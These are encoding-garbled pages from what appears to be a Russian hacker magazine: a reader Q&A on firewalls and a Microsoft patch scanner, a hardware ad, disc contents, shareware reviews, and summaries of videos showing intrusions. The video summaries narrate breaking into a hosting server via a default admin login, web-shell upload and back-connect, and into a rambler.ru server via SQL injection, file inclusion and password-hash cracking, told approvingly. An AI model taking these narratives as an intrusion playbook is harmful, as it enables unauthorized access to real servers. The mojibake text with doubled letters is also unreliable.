õõîîääÿÿòòññÿÿ ââ ààççèèààòòññêêèèõõ ññòòððààííààõõ.. ÈÈõõ ììîîææííîî êêààêêèèìì-ííèèááóóääüü îîááððààççîîìì ííååééòòððàà-
ëëèèççîîââààòòüü èèëëèè ççààááààííèèòòüü??
A: Åñëè òâîé ñàéò óñòàíîâëåí íà âûäåëåííîì ñåðâåðå è òû èìååøü
ê íåìó ïîëíûé äîñòóï, òî òåáå íàäî âîñïîëüçîâàòüñÿ ôàéðâîëîì.
×òîáû íå ìîðî÷èòü ñåáå ãîëîâó ñ ïîèñêîì íóæíûõ IP-ïîäñåòåé ñîñ-
òàâëåíèåì ïðàâèë äëÿ ôàéðâîëà, ðåêîìåíäóþ ïîñåòèòü ñàéò www.day-
omon.net/fw, ãäå âûëîæåíà îòëè÷íàÿ ïîäáîðêà âñåãî íåîáõîäèìîãî.
Ñàìîå èíòåðåñíîå � ýòî çàðàíåå ïîäãîòîâëåííûå ïðàâèëà äëÿ ðàç-
íîîáðàçíûõ ñåðâèñîâ (ipf, ipfw, safeny, iprange, BIND, Apache, IPTA-
BLES), êîòîðûå ïðàêòè÷åñêè ïîëíîñòüþ áëîêèðóþò ïîäêëþ÷åíèÿ ñ
àçèàòñêèõ IP-àäðåñîâ.

QQ:: ÃÃîîââîîððÿÿòò,, ÷÷òòîî MMiiccrroossoofftt ââûûïïóóññòòèèëëàà õõîîððîîøøèèéé ïïððîîääóóêêòò,, ííààööååëëååííííûûéé ííàà
îîááååññïïåå÷÷ååííèèåå èè ññââîîååââððååììååííííîîåå îîááííîîââëëååííèèåå WWiinnddoowwss-ññèèññòòååìì.. ÌÌîîææååøøüü
ððààññññêêààççààòòüü ïïîîääððîîááííåååå??
A: ×òî âåðíî � òî âåðíî. Êàê èçâåñòíî, Ìàéêðîñîôò âûïóñêàåò
èñêëþ÷èòåëüíî õîðîøèå è ñâîåâðåìåííûå ïðîäóêòû :). Èìÿ íîâèíêè �
Microsoft Baseline Security Analyzer 2.0, êîòîðóþ ñ íåäàâíåãî âðåìåíè
ìîæíî çàãðóçèòü ñ îôèöèàëüíîãî ñàéòà Microsoft (www.microsoft.com). 
Ïî ñóòè, íè÷åãî îñîáåííîãî îíà ñîáîé íå ïðåäñòàâëÿåò. Îñíîâíàÿ çàäà-
÷à � ñëåäèòü çà áåçîïàñíîñòüþ âñåõ îñíîâíûõ Windows-ñèñòåì (2000,
XP, Server 2003, áóäóùåé Vista), à òàêæå ðÿäà äðóãèõ ïðîäóêòîâ (Internet
Explorer, MS Office, Exchange, SQL Server è ò.ä.). Îäíàêî ôàêòè÷åñêè
êîíòðîëü ñâîäèòñÿ ê áàíàëüíîé ïðîâåðêå ëîêàëüíîé è óäàëåííûõ ñèñ-
òåì íà ñâîåâðåìåííîå îáíîâëåíèå. Åñëè â íàáîðå óñòàíîâëåííûõ ïàò-
÷åé îòñóòñòâóåò êàêàÿ-òî çàïëàòêà, òî àäìèíèñòðàòîðó ïðåäëàãàåòñÿ
çàãðóçèòü åå èç Ñåòè, ïîñëå ÷åãî îáíîâèòü âñå ñèñòåìû ñ ïîìîùüþ
Windows Server Update Services (www.microsoft.com/windowsserversys-
tem/ updateservices)
Ïîìèìî ýòîãî, ïðîâåðÿåòñÿ íàáîð íåêîòîðûõ êðèòè÷åñêèõ íàñòðîåê (ïà-
ðîëåé ïî óìîë÷àíèþ, íàïðèìåð), êîòîðûå ïî÷åìó-òî Microsoft õî÷åò èñï-
ðàâèòü íå â ñàìèõ ïðîäóêòàõ, à ñ ïîìîùüþ ïîäîáíûõ ïðèëîæåíèé.[X
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Â ííàøåì ììàãàçèíå
âàñ ææäåò ááîëåå
1000 èèãð 
íà ââàø ââûáîð

Ïîñòîÿííî    
îáíîâëÿåìûé 
àññîðòèìåíò

Òîâàðû îîò    
ñàìûõ ëëó÷øèõ 
ïðîèçâîäèòåëåé

*

ÌÌîîííèèòòîîðð
SShhuuttttllee XXPP1177SSGG

$675.99

ÍÍààóóøøííèèêêèè
AAKKGG KK440066 AAFFCC 

$162.99

ÊÊîîëëîîííêêèè
MM-AAuuddiioo SSttuuddiioopphhiillee 
LLXX44 22..11 SSyysstteemm

$339.99

ØØëëååìì
ii-OO DDiissppllaayy SSyysstteemmss
ii-SSccaappee IIII

$289.99

ÊÊîîððïïóóññ
SShhuuttttllee SSBB8833GG55CC

$485.99

PPiinnnnaaccllee SSyysstteemmss
SShhoowwCCeenntteerr 11000000gg 

$285.99

* *

Èãðàé
ïðîñòî!

GamePost 

ÏÎËÓ×È
ÌÀÊÑÈÌÓÌ
ÓÄÎÂÎËÜÑÒÂÈß
ÈÑÏÎËÜÇÓß ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÀÊÑÅÑÑÓÀÐÛ 
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[[ÂÂççëëîîìì õõîîññòòèèííããàà:: ÷÷ààññòòüü ïïååððââààÿÿ]]
[[ÀÀââòòîîðð:: ssaasshhiikkss ]]

Äàâíûì-äàâíî, â äàëåêîé-äàëåêîé ãàëàêòèêå,
îäíîìó ÷åëó ïîíàäîáèëîñü ïîëó÷èòü àêöåññ ê
ìàøèíå îäíîãî äîâîëüíî êðóïíîãî ãîðîäñêîãî
õîñòåðà, íà áîðòó êîòîðîãî áûëî íåñêîëüêî
òðåõãèãîãåðöîâûõ ïðîöîâ, øèðîêèé êàíàë è óé-
ìà îïåðàòèâêè � ïðîñòî ëàêîìûé êóñî÷åê. Äëÿ
íà÷àëà, ÷òîáû ïîëó÷èòü õîòÿ áû êàêîé-íèáóäü
äîñòóï ê ñåðâåðó, íàø ïðîòàãîíèñò ëåçåò íà
ñòðàíèöó, ñîäåðæàùóþ ñïèñîê êëèåíòñêèõ ñàé-
òîâ, è äîñàòî÷íî áûñòðî íàõîäèò óÿçâèìîñòü íà
îäíîì èç íèõ. Â åãî àäìèíêå ïîäõîäèëà ñòàíäà-
ðòíàÿ êîìáèíàöèÿ «ëîãèí:ïàðîëü», ïîýòîìó ëåã-
êèì äâèæåíèåì ðóêè îí ïîïàë âíóòðü. Êàê âûÿñ-
íèëîñü, íè÷åãî êðèìèíàëüíîãî â àäìèíñêîé ïà-
íåëè óïðàâëåíèÿ ñäåëàòü íåëüçÿ, êðîìå êàê çàã-
ðóçèòü html-ñòðàíèöó ñî ñâîåãî êîìïà íà ñåð-
âåð. Íó ïî÷åìó áû âçëîìùèêó íå çàëèòü òóäà
îáîæàåìûé system() íà ðíð? Àïëîäèì ðíð-ñòðà-
íèöó íà ñåðâàê è íàáëþäàåì çà ðåçóëüòàòîì.
Íåñìîòðÿ íà òî, ÷òî ðíð-êîä â ñòðàíèöå ðàáî-
òîñïîñîáåí, ñèñòåìíûå ôóíêöèè îòêëþ÷åíû, à

ïîýòîìó î âûïîëíåíèè êîìàíä ìîæíî çàáûòü.
Òåì íå ìåíåå, âûõîä âñå æå óäàåòñÿ íàéòè � ñ
ïîìîùüþ ñòàíäàðòíûõ PHP-ôóíêöèé ÷åë îñó-
ùåñòâèë ïîèñê äîñòóïíîé íà çàïèñü äèðó è çà-
êà÷àë íà ìàøèíó eval_php øåëë, êîòîðîìó â
äàëüíåéøåì è ñêàðìëèâàëèñü ñàìîïàëüíûå
PHP-àíàëîãè system-âûçîâîâ. Âïðî÷åì, íè÷åãî
òîëêîâîãî, êðîìå âåðñèè ÎÑ (echo php_uname()),
óçíàòü íå óäàëîñü. È òóò ìåëüêíóëà ìûñëü �
åñëè PHP íå äàåò íóæíîé îòäà÷è, ìîæíî ïîïû-
òàòüñÿ çàïóñòèòü cgi-ñêðèïòû. Íî êàæäûé ðàç
çàëèâàòü âðó÷íóþ ÷åðåç fopen() è fputs() èõ íåó-
äîáíî, è ÷òîáû êàê-òî óïðîñòèòü ïðîöåññ òðàíñ-
ïîðòèðîâêè ôàéëîâ, ãëàâíûé ãåðîé çàëèâàåò
äîâîëüíî-òàêè ïîïóëÿðíûé RST-øåëë (â êîòî-
ðîì âñòðîåíà âîçìîæíîñòü ìàíèïóëÿöèè ôàé-
ëàìè). Íî òóò ñëó÷àåòñÿ íåîæèäàííîå � RST
web-shell îêàçàëñÿ âïîëíå ðàáîòîñïîñîáåí, è
âûïîëíÿòü êîìàíäû íà ìàøèíå ñ nobody-ïðàâà-
ìè ñòàëî âïîëíå ðåàëüíî! Íî ïî÷åìó æå øåëë
çàðàáîòàë? À âñå äåëî â òîì, ÷òî àäìèíèñòðà-
òîð õîñòèíãà íå âêëþ÷èë safe mode, à âðó÷íóþ
ïîîòðóáàë ôóíêöèè â php.ini. Ïî èäåå, âñå äîëæ-
íî áûëî ðàáîòàòü êàê ÷àñû, íî ðóò îøèáñÿ, çà-
áûâ ïðî popen(), ÷åðåç êîòîðûé è ðàáîòàë âåá-
øåëë îò Rush. Â ìãíîâåíèå îêà áûë îðãàíèçî-
âàí back-connect (â øåëë, êñòàòè, âñòðîåíî íåñ-
êîëüêî áýêäîðîâ), è âçëîìùèê ñòàë ïîëçàòü ïî
âèíòó õîñòèíãîâîãî ñåðâåðà. Âïðî÷åì, íå÷åãî
îñîáî ïîëåçíîãî âûáèòü íå óäàëîñü, òàê êàê
áîëüøèíñòâî ñïëîèòîâ íà äûðÿâîì ÿäðå íå ðà-
áîòàëè (òàê êàê ñîáðàíû íà äðóãîé òà÷êå, gcc
áûëî çàïðåùåíî çàïóñêàòü), è îòìû÷êà íà SMP-
ìàøèíû óâîäèëà ñåðâàê â äàóí � âîò è ïðèø-
ëîñü äîâîëüñòâîâàòüñÿ nobody-ïðàâàìè. Íî
ïîñëå íåáîëüøîãî èññëåäîâàíèÿ ìàøèíû îáíà-
ðóæèëàñü îäíà èíòåðåñíàÿ îñîáåííîñòü � îêà-
çûâàåòñÿ, ýòîò ñåðâàê ëèøü âòîðîñòåïåííûé, à
ãëàâíûé èìååò ñîâñåì äðóãîé IP. À ýòî çíà÷èò,
÷òî îïåðàöèÿ ïî çàõâàòó àêêàóíòîâ íå çàâåðøå-
íà, è âñå ñàìîå èíòåðåñíîå åùå òîëüêî âïåðå-
äè. Íî ýòî ìû ïîêàæåì ëèøü â ñëåäóþùåì âû-
ïóñêå ][. 

[[ØØààëëîîññòòèè ííàà rraammbblleerr..rruu ]]
[[ÀÀââòòîîðð:: ddookkkk2211 ]]
Â ýòîì âèäåî õàêåð äåìîíñòðèðóåò âçëîì îäíî-
ãî èç ñåðâåðîâ rambler.ru, îòâå÷àþùèé çà ðàç-
äåë «íåäâèæèìîñòü». Â íà÷àëå îí íàõîäèò SQL-
Injection â îäíîì èç ñêðèïòîâ äâèæêà, íî ðåøàåò
íå îñòàíàâëèâàòüñÿ íà äîñòèãíóòîì, ïðîäîëæàÿ
èñêàòü ïðî÷èå óÿçâèìîñòè íà ñàéòå. Âäðóã îí íå-

îæèäàííî íàòûêàåòñÿ íà îáû÷íûé php-include
áàã. Íå ìåäëÿ íè ìèíóòû, õàêåð çàëèâàåò äîñòà-
òî÷íî ñëîæíûì ïóòåì øåëë-ñêðèïò íà ñåðâåð.
Ïîëó÷èâ óäîáíûé âåá-äîñòóï ê óïðàâëåíèþ îïå-
ðàöèîííîé ñèñòåìîé ðàìáëåðîâñêîãî ñåðâåðà,
ñåòåâîé íåãîäÿé íàõîäèò â êîíôèãóðàöèîííûõ
ôàéëàõ àïà÷à íå òîëüêî ëèíê íà àäìèíñêèé èí-
òåðôåéñ, íî è êàêèå-òî õýøè ïàðîëåé, çàøèôðî-
âàííûå àëãîðèòìîì DES. Ïîñëå íåïðîäîëæè-
òåëüíîãî áðóòà íàõîäÿòñÿ äâà ïàðîëÿ. Îäèí èç
íèõ ïîäõîäèò íå òîëüêî ê àäìèíêå, íî è ê äðóãèì
äîñòàòî÷íî èíòåðåñíûì ðåñóðñàì ñåòåâîãî ãè-
ãàíòà. Äëÿ ïîëíîãî ïîíèìàíèÿ äåéñòâèé â âèäåî-
ðîëèêå, ðåêîìåíäóþòñÿ ïðî÷èòàòü ñîîòâåòñòâó-
þùóþ ñòàòüþ, êîòîðóþ òû ñìîæåøü íàéòè â ñëå-
äóþùåì âûïóñêå ëþáèìîãî æóðíàëà.

[[LLiinnuuxx MMaannddrriivvaa 22000055 LLiimmiitteedd EEddiittiioonn ((MMaannddrraakkee 1100..22))]]
Äà! Òû, íàêîíåö-òî, ýòîãî äîæäàëñÿ� Â ýòîò ðàç
ìû âûëîæèëè íà DVD ïîëíîöåííóþ ëèíóêñîâóþ
îñü � Linux Mandriva 2005 Limited Edition. Äèñòðè-
áóòèâ ðàçáèò íà 3 äèñêàõ, ïðåäñòàâëåííûõ íà DVD
â âèäå ISO-ôàéëîâ. Ïðîñòî ñäåëàé èç íèõ CD-äèñ-
êè, çàãðóæàéñÿ ñ ïåðâîãî èç íèõ è ñìåëî ïðèñòó-
ïàé ê óñòàíîâêå. Ê ñ÷àñòüþ, óñòàíîâùèê èìååò
î÷åíü ïðîñòîé äðóæåñòâåííûé èíòåðôåéñ íà ðóñ-
ñêîì ÿçûêå, ïîýòîìó ïðîáëåì ñ èíñòàëëÿöèåé âîç-
íèêíóòü íå äîëæíî. À ïîñëå óñòàíîâêè òåáÿ æäåò:
ßäðî 2.6.11.6
KDE 3.3.2 ñ ÷àñòè÷íîé ïîääåðæêîé ôóíêöèé
KDE 3.4 
GNOME 2.8.3
Firefox 1.0.2
OpenOffice.org 1.1.4
Cdrtools 2.01 ñ ïîääåðæêîé äâóõñëîéíûõ DVD+R

Disco
}units
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MULTIMEDIA
ACDSee 8.0.39 
Alcohol 120% 1.9.5.3105
AutoGK 1.96
CD-DA Extractor v8.2.2
Color Schemer Studio 1.5
DAEMON Tools 3.47
Flash Desktop 1.1.0
Flash Player 8
Font Creator V 5.0
foobar2000 0.8.3
IrfanView 3.97

MakeUp Pilot 1.20
Nullsoft SHOUTcast 1.9.5
ratDVD 0.76.1408
Skype 1.3.0.67
TagScanner 4.9
VideoInspector 1.7.0.88
VirtualDub 1.6.10
Willing Webcam 3.0
Winamp 5.1 Surround Edition

NET
Advanced Administrative

Tools v5.81
Alchemy Eye v.7.2.5
Apache 2.0.54
Becky! Internet Mail 2.22.02
BitComet 0.6
CCProxy 6.3
Denwer 2005-07-19
Download Master 4.3.6.927
eMule 0.46c
FTPUpdateSearcher 1.0
Gene6 FTP Server 3
KlipFolio 3.0 Beta B
Maxthon 1.2.4
mIRC 6.16
Nmap 3.93
Online TV Player 2.8
Opera 8.50
Outpost Firewall 3.0
Proxy Switcher 3.3.0
ProxyGrab v0.5
qip 2005 build 7520
Radmin 2.2, Radmin viewer
Shareaza 2.2.0.0
SmartFTP 1.5.990.11
SpamPal v1.591

TheBat! v3.60 
vSkype 1.0.0.33
Vypress Chat 2.1
WWW File Share Pro 3.20

DEVELOPMENT
.NET Reflector 4.1.84.0
ActivePerl 5.8.7.813
emu8086 4.00b7
MASM32 8.2
PEiD 0.93
PerlEX 2.3.1.2
Php 5.0.5
RegexBuddy 2.06
Smb4k 0.6.3
Sothink DHTMLMenu 6.1
SWF Decompiler MX 2005b
Stealth PE 2.1
WinHex 12.55

SYSTEM
APBackup 2.7
BestCrypt 7.20
Driver Genius 2005
Explore2fs 1.07

Ext2 Installable File
System 1.10a
HD Tune 2.50
HWiNFO32 1.55
nnCron 1.89
RAMDisk XP 1.9.100
Recover My Files 3.76
True Launch Bar 3.2
VMware Workstation 5.0

MISC
Ad-Aware SE 1.06
Adobe Reader Speed-Up 1.32
Cell Phone Manager V5.3.1
DjVuReader 2.0.0.26
FinePrint 5.44
MakeNotes 0.3.1.1B
Microsoft ActiveSync 4.0
Mobile DataBase 1.25
NSIS 2.09
PassView 1.5
pdfFactory Pro 2.44
pserv.cpl 2.6
Superior Search 2005
WinRAR 3.5

MULTIMEDIA
cdrtools-2.01
Flash for Linux 0.2
vlc-0.8.2

NET
3proxy 0.6b
Apache 2.0.54

Azureus 2.3.0.4
BitchX 1.1
Cluster SSH 2.20
KFTPGrabber 0.7.0-beta1
nmap-frontend-3.81
OpenSSH 4.2p1
Opera 8.5
p0f 2.0.5

squid-3.0-PRE3
TightVNC 1.2.9
WebHTTrack 3.33
WU-FTPD 2.6.2
yaph 0.91

DEVELOPMENT
cssed 0.3.0

GTK+2.8
php 4.4.0
wxBasic for Linux 

SYSTEM
BestCrypt 1.6.2
Kernel
mc 4.6.1

Wine 20050830

MISC
AIDE 0.10
Bluefish 1.0.4
DjVuLibre 3.5.14
john-1.6
logcheck 1.2.41

WINDOWS

CD1
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VISUAL HACK ++
Âçëîì õîñòèíãà: ÷àñòü
ïåðâàÿ
Øàëîñòè íà rambler.ru
Ïðîõîæäåíèå
ñåíòÿáðüñêîãî êîíêóðñà

ØÀÐÎWAREZ
3D Wonder v 1.1
Anti Boss Key v 3.91
AutoSave v 2.0
bbLean 1.16
Bluetooth Remote
Control 1.0
Cantor v 1.6
Credit Card 
and ID Guarder 2.03
DVDIdle Pro 5.9.3.3
GoodShot 1.06

Inquiry v 1.2
KeePass 1.03
PhotoToFilm 2.0
pserv v 2.6
ScreenNemo 1.2
SecuritySupervisor v 1.2
SVC2kXP 2.2
VoiceSecureIt 2003

UNIXWAREZ
Amarok 1.3
GCFilms 5.3
GKRellM 2.2.7
GtkGuitune 0.7
LogJam 4.5.1
Sylpheed-Claws 1.9.3
TEA 10.2

X-TOOLZ
Advanced Archive
Password Recovery
AFICK 2.8.2
Burp spider v1.2
Knockd

UPDATES
Áåñïëàòíàÿ âåðñèÿ
DrWeb äëÿ ÷èòàòåëåé
æóðíàëà Õàêåð

TRASH
Èñõîäíûå òåêñòû
Quake3Arena
Flash Professional 8
Zend Client Studio 5.0.0
Beta

MAGAZINE

CD2

x

x

UNIX
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VoiceSecureIt 2003
Windows 9x/Me/NT/2k/XP
Size: 9466 Kb
Shareware
www.voiceit-tech.com

Êîãäà íà îäèí êîìïüþòåð ïðèõîäèòñÿ íåñêîëüêî ïîëüçîâàòåëåé, ïðîöåäó-
ðà âõîäà â ñèñòåìó íåèçáåæíî óñëîæíÿåòñÿ. Íåïðàâèëüíî íàáðàííîå èìÿ
âûçûâàåò ðàçäðàæåíèå, çàáûòûé ïàðîëü îáîðà÷èâàåòñÿ ñåðüåçíîé ãîëîâ-
íîé áîëüþ� Çíàÿ îá ýòîé ïðîáëåìå, îäèí ìîé çíàêîìûé íàøåë ýëåãàíò-
íûé ñïîñîá óïðîñòèòü ñåáå æèçíü: íà ñâîåé äîìàøíåé ìàøèíå îí ñíà÷à-
ëà ñîçäàë ñïåöèàëüíûå ó÷åòíûå çàïèñè äëÿ æåíû è ðåáåíêà, à çàòåì óñ-
òàíîâèë è íàñòðîèë ñèñòåìó ãîëîñîâîé àóòåíòèôèêàöèè VoiceSecureIt. Òå-
ïåðü ëþáîìó èç åãî äîìàøíèõ äîñòàòî÷íî ïðîñòî ñêàçàòü â ìèêðîôîí êî-
äîâóþ ôðàçó, ÷òîáû êîìïüþòåð îïîçíàë ãîâîðèâøåãî è âïóñòèë åãî â ñèñ-
òåìó ñ ñîîòâåòñòâóþùèìè ïðàâàìè äîñòóïà. Ïðè ýòîì çíàåøü, ÷òî ñàìîå
çàáàâíîå? ×òî êîäîâàÿ ôðàçà � «ìîé ïàðîëü � ìîé ãîëîñ!» � ó ïàïû,
ìàìû è äî÷åðè îäíà íà âñåõ, õîòÿ ïðîãðàììó VoiceSecureIt ýòî, ïîõîæå,
íèñêîëüêî íå ñìóùàåò. Ïî êðàéíåé ìåðå, îíà òðåáóåò ëèøü îäíî: ÷òîáû
êîäîâàÿ ôðàçà áûëà íå ñëèøêîì êîðîòêîé, òî åñòü ÷òîáû åå íåëüçÿ áûëî
ïðîèçíåñòè ìåíåå ÷åì çà äâå ñåêóíäû.
Â ñîñòàâ ïðîãðàììû âõîäèò îòäåëüíûé ìåíåäæåð ïîëüçîâàòåëåé è ïàðà

äîïîëíèòåëüíûõ ìîäóëåé äëÿ íàñòðîéêè ìèêðîôîíà è ñèñòåìíûõ ïàðà-
ìåòðîâ («ïðèäèð÷èâîñòü» ãîëîñîâîãî àíàëèçàòîðà, êîëè÷åñòâî ïîïûòîê
âõîäà â ñèñòåìó, äèçàéí îêíà). Âñå î÷åíü ëîãè÷íî è ïîíÿòíî. Â íåïðèÿò-
íóþ ñèòóàöèþ ñ VoiceSecureIt ÿ ïîïàë ëèøü îäíàæäû: ïðè íàñòðîéêå ÿ íåï-
ðàâèëüíî óêàçàë ïàðîëü ê ó÷åòíîé çàïèñè è ïîñëå ïåðåçàãðóçêè, íå ñìîò-
ðÿ íà òî, ÷òî ìîé ãîëîñ áûë îïîçíàí, âèíäû îòêàçàëèñü ìåíÿ ïóñòèòü. 

Inquiry v 1.2
Windows 9x/Me/NT/2k/XP
Size: 3322 Kb
Shareware
www.metaproducts.com

Èíôîðìàöèîííàÿ «êî-
ïèëêà» äëÿ âåá-ñòðà-
íèö è èõ ôðàãìåíòîâ.
×ðåçâû÷àéíî óäîáíàÿ
âåùü, ñåðüåçíî îá-
ëåã÷àþùàÿ ðàáîòó ñ
ñåòåâûìè èíôîðìà-
öèîííûìè ðåñóðñàìè.
Î÷åíü êà÷åñòâåííî èí-
òåãðèðîâàíà â îñëèê
IE: ìíå îñîáåííî ïîí-
ðàâèëàñü âîçìîæíîñòü
äîáàâëåíèÿ âûäåëåí-
íîãî ó÷àñòêà âåá-ñòðà-

íèöû â áàçó äàííûõ ïðîãðàììû ïðîñòûì drag-and-drop'îì. Ðàçóìååòñÿ,
Inquiry ìîæåò ðàáîòàòü è êàê ñàìîñòîÿòåëüíîå ïðèëîæåíèå, äîñòóïíîå èç
êîíòåêñòíîãî ìåíþ Oper'û èëè Firefox. Ïðàâäà, â ýòîì ñëó÷àå ìîæíî ñðà-
çó çàáûòü î drag-and-drop'å è ôóíêöèè ñîõðàíåíèÿ âûäåëåííûõ ôðàã-
ìåíòîâ. Âïðî÷åì, îäèí èç ðàçðàáîò÷èêîâ ïðîãðàììû (ÿâíî íàø ÷åëî-
âåê:)) îáåùàë îáðàòèòü ñåðüåçíîå âíèìàíèå íà óëó÷øåíèå ñîâìåñòè-
ìîñòè Inquiry ñ àëüòåðíàòèâíûìè áðàóçåðàìè.
Áàçà äàííûõ ïðîãðàììû èìååò äðåâîâèäíóþ ñòðóêòóðó. Âñå çàïèñè
ìîæíî ðåäàêòèðîâàòü, è ñíàáæàòü êîììåíòàðèÿìè. Åñòü âñòðîåííûé ïî-
èñêîâûé ìåõàíèçì. Ïîääåðæèâàåòñÿ çàïèñü íàêîïëåííîé èíôîðìàöèè â
âèäå ôàéëà ôîðìàòà CHM, MHT, EXE èëè êîëëåêöèè HTML-ñòðàíèö.
Ïðè ýòîì, ÷òî íåìàëîâàæíî, ó Inquiry íåò íèêàêèõ ïðîáëåì ñ ðóññêèì
ÿçûêîì. Äàæå õåëï ó ïðîãè íàïèñàí íà «âåëèêîì è ìîãó÷åì», ÷òî, êñòà-
òè, ïîçâîëÿåò ðåêîìåíäîâàòü Inquiry íå òîëüêî îïûòíûì âåá-ñåðôåðàì,
íî è íà÷èíàþùèì «èíòåðíåò-ïîëüçîâàòåëÿì». 

}units
SHAROWAREZ:
M.J.Ashß
m.j.ash@real.xakep.ru
SideXß
sidex@real.xakep.ru

SHarowares
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3D Wonder v 1.1
Windows XP
Size: 5221 Kb
Shareware
www.3dwonder.com

Ðàçðàáîòêè âåäóòñÿ óæå î÷åíü äàâíî, íî î êîíê-
ðåòíûõ ñðîêàõ äîëãîæäàííîé òðåõìåðèçàöèè
èíòåðôåéñà Windows ïî-ïðåæíåìó íè÷åãî íå
ñëûøíî. Îäíàêî ñïðîñ ðîæäàåò ïðåäëîæåíèå.
Ïîêà Microsoft òîðìîçèò, íåçàâèñèìûå ïðîãðàì-
ìèñòû ñòàðàþòñÿ çàðàáîòàòü ñåáå íà õëåá ñ ìàñ-
ëîì. Ê ïðèìåðó, â ýòîì ìåñÿöå ïîðàäîâàëè ðå-
áÿòà èç êîìïàíèè Gamers Tower, âûïóñòèâøèå â
Ñåòü íîâóþ âåðñèþ ïðîãðàììû 3D Wonder. Èõ
ðàçðàáîòêà, ïðàâäà, íå ïðåòåíäóåò íà çâàíèå ñåðüåçíîãî «òðåõìåðèçà-
òîðà», íî åå ðàáîòà ñìîòðèòñÿ âåñüìà ýôôåêòíî. Ïîñëå çàïóñêà 3D
Wonder íåïîäâèæíàÿ ôîíîâîâàÿ êàðòèíêà íà Ðàáî÷åì ñòîëå ñìåíÿåòñÿ
âèäîì ÷ðåçâû÷àéíî îæèâëåííîãî ó÷àñòêà êîñìè÷åñêîãî ïðîñòðàíñòâà.
Âïðî÷åì, ïðîëåòàþùèå ìèìî àñòåðîèäû è êîñìè÷åñêèå êîðàáëè â äàí-
íîì ñëó÷àå âûïîëíÿþò ÷èñòî äåêîðàòèâíûå ôóíêöèè, ïîñêîëüêó áîëü-
øóþ ÷àñòü ýêðàíà çàíèìàåò îãðîìíûé «ãèïåð-êóá». È ýòîò êóá äîâîëüíî
èíòåðàêòèâåí. Åãî ìîæíî âðàùàòü, êàæäàÿ åãî ïëîñêîñòü ìîæåò èñïîëü-
çîâàòüñÿ äëÿ ðàçìåùåíèÿ èêîíîê, à åñëè òû ñ÷èòàåøü, ÷òî êàðòèíêå íå
äîñòàåò îðèãèíàëüíîñòè, òî íàæàòèå CTRL+I ìèãîì ïåðåíîñèò òåáÿ âî
âíóòðåííåå ïðîñòðàíñòâà êóáà, óñèëèâàÿ îùóùåíèå ïîäëèííîé âèðòó-
àëüíîñòè è âûçûâàÿ ëåãêèé ïðèñòóï êëàóñòðîôîáèè.

Cantor v 1.6
Windows 9x/Me/NT/2k/XP
Size: 4315 Kb
Shareware
www.virsyn.de/en

Â ýòîé ðóáðèêå ìû óæå
íåîäíîêðàòíî ðàññêà-
çûâàëè î ïðîãðàììàõ,
çàñòàâëÿþùèõ êîìïü-
þòåð ðàçãîâàðèâàòü.
Äóìàþ, ïðèøëà ïîðà
äâèíóòüñÿ äàëüøå è
îáðàòèòü ñâîå âíèìà-
íèå íà ñîôò, çàñòàâëÿ-
þùèé òâîþ ìàøèíó
ïåòü. Äëÿ ïåðâûõ ýêñ-
ïåðèìåíòîâ â ýòîé îá-
ëàñòè ðåêîìåíäóþ èñ-

ïîëüçîâàòü ïðîãðàììó Cantor. Âî-ïåðâûõ, åå ìîæåò îñâîèòü äàæå òîò,
êòî íèêîãäà íå çàíèìàëñÿ ñîçäàíèåì ìóçûêè íà êîìïå, à âî-âòîðûõ,
Cantor âåñèò îòíîñèòåëüíî íåìíîãî, òàê êàê äåéñòâèòåëüíî ñèíòåçèðóåò
âîêàë, à íå þçàåò áèáëèîòåêó ãîòîâûõ ñåìïëîâ. 
Ïðîãðàììà óìååò ïåòü íà àíãëèéñêîì è íåìåöêîì ÿçûêàõ. Íî ïîñêîëüêó
ëþáîå ñëîâî â Cantor'e ñîáèðàåòñÿ èç îòäåëüíûõ ôîíåì, íè÷òî íå ìåøà-
åò òåáå óïîòðåáèòü èìåþùèåñÿ ôîíåìû äëÿ ôîðìèðîâàíèÿ ðóññêèõ
ñëîâ. À òî, ÷òî êîìïüþòåð áóäåò ïåòü íàøè ïåñíè ñ èíîñòðàííûì àêöåí-
òîì, òàê ýòî, íà ìîé âçãëÿä, äàæå âåñåëåå. Êñòàòè, Cantor óìååò ñèíòå-
çèðîâàòü äî âîñüìè ïàðòèé îäíîâðåìåííî � ýòî ÿ ñïåöèàëüíî ãîâîðþ
òåáå íà òîò ñëó÷àé, åñëè òû ñòðàñòíûé ïîêëîííèê õîðîâîãî ïåíèÿ. Êðî-
ìå òîãî, ïîëüçîâàòåëü ïðîãðàììû ìîæåò óïðàâëÿòü âñåìè ïàðàìåòðàìè
èñïîëíåíèÿ, íàêëàäûâàòü ýôôåêòû è äàæå ðåäàêòèðîâàòü íå òîëüêî
ïàðòèè, íî è ãîëîñà/ôîíåìû. Õîòÿ, íóæíî çàìåòèòü, ÷òî äåìî-âåðñèÿ
Cantor óðåçàíà ôóíêöèîíàëüíî è íå ïîçâîëÿåò çàäåéñòâîâàòü âîçìîæ-
íîñòè ïðîãðàììû â ïîëíîì îáúåìå. À æàëü! 

Anti Boss Key 
v 3.91
Windows 9x/Me/NT/2k/XP
Size: 713 Kb
Shareware
www.mindgems.com

Óäîáíàÿ óòèëèòà, ïî ïåðâîìó òâîåìó ñèãíàëó ñêðûâàþùàÿ ñëåäû íåöå-
ëåâîãî èñïîëüçîâàíèÿ ðàáî÷åãî êîìïüþòåðà îò áäèòåëüíîãî îêà íà÷àëü-
ñòâà è ÷ðåçìåðíî ëþáîïûòíûõ êîëëåã. Íà ìîé âçãëÿä, äîñòîéíûõ ñîïåð-
íèêîâ ó ýòîé ïðîãè ïðàêòè÷åñêè íåò.
Ïðîôåññèîíàëüíûé ñòàòóñ Anti Boss Key ÷óâñòâóåòñÿ áóêâàëüíî ñ ïåðâûõ

øàãîâ. Íàïðèìåð, â
òâîþ ñèñòåìó óòèëèòà
âíåäðÿåòñÿ íåçàìåò-
íî, íå ïðåäëàãàÿ ïî-
ëàìåðñêè óêðàñèòü
ñâîåé èêîíêîé Ðàáî-
÷èé ñòîë èëè äîáàâèòü
ñâîé ïóíêòèê â ìåíþ
«Ïóñê», à íàñòðîéêà
ïðîãðàììû ïðîèçâî-
äèòñÿ èç îêíà, âûëå-
çàþùåãî íà ýêðàí
ëèøü ïðè íàæàòèè çà-
äàííîé êîìáèíàöèè

êëàâèø (ïî óìîë÷àíèþ: "Ctrl" + "\"). Ïðîöåññ íàñòðîéêè â ïðîñòåéøåì ñëó-
÷àå ñâîäèòñÿ ê ïåðåòàñêèâàíèþ íàçâàíèé ïðèëîæåíèé èç îäíîãî ñïèñêà
